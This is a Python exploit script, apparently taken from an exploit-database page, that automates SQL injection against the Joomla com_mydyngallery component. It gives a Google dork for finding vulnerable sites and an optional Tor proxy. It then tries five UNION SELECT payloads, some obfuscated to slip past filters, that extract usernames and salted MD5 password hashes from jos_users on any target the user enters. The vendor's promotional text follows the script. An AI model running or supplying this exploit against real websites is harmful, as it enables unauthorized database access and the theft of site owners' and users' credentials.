`# Joomla! com_mydyngallery Automatic SQL Injection exploit (multiple ways)
# Author: D35m0nd142
# Google Dork: inurl:"index.php?option=com_mydyngallery"
# Date: 12/12/2015
# Vulns found by R3d.W0rm & H3ll-dz
# Software link: https://www.joomla.org
# Tested on: all Joomla! versions containing component mydyngallery
# Output will show clear username and MD5:Salt password
#!/usr/bin/python
import sys
import time
import socks
import socket
import requests
success = False
notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']
target = ""
i = 0
def chk_success():
global i
if(success):
print "[+] Exploit succedeed!"
sys.exit(0)
i += 1
def exploit(path,query):
global i
global success
global target
try:
url = "%s%s" %(target,path)
print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)
r = requests.get(url, headers=headers, timeout=20)
if(r.status_code == 200 and r.url == url):
url = "%s%s%s" %(target,path,query)
r = requests.get(url, headers=headers, timeout=20)
if("::::" in r.text):
s = r.text
for x in range(0,len(s)-4):
if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):
if(success is False):
success = True
user = ""
passwd = ""
k = x-1
while(k >= 0 and s[k] not in notvalid):
user += s[k]
k -= 1
user = user[::-1]
k = x+4
while(k < len(s) and s[k] not in notvalid):
passwd += s[k]
k += 1
x = k
if(len(user) > 0 or len(passwd) > 0):
print "-------------------------------------------------------------------------------------"
print "[+] Username: %s" %user
print "[+] Password: %s" %passwd
print "-------------------------------------------------------------------------------------\n"
except:
print "[-] %i-way exploit not applicable." %i
# Uncomment if you want to run the exploit through TOR
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)
#socket.socket = socks.socksocket
print "\n/*================================================================*\\"
print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways) |"
print "| Author: D35m0nd142 |"
print "\*================================================================*/\n"
target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")
if("http" not in target):
target = "http://%s" %target
if(target[-1:] == '/'):
target = target[:-1]
headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}
i = 1
path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]
queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",
"' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",
"'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",
"'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",
"'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]
for query in queries:
if(i < 5):
exploit(path[0],query)
else:
exploit(path[1],query)
chk_success()
print "[-] Exploit not succedeed."
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation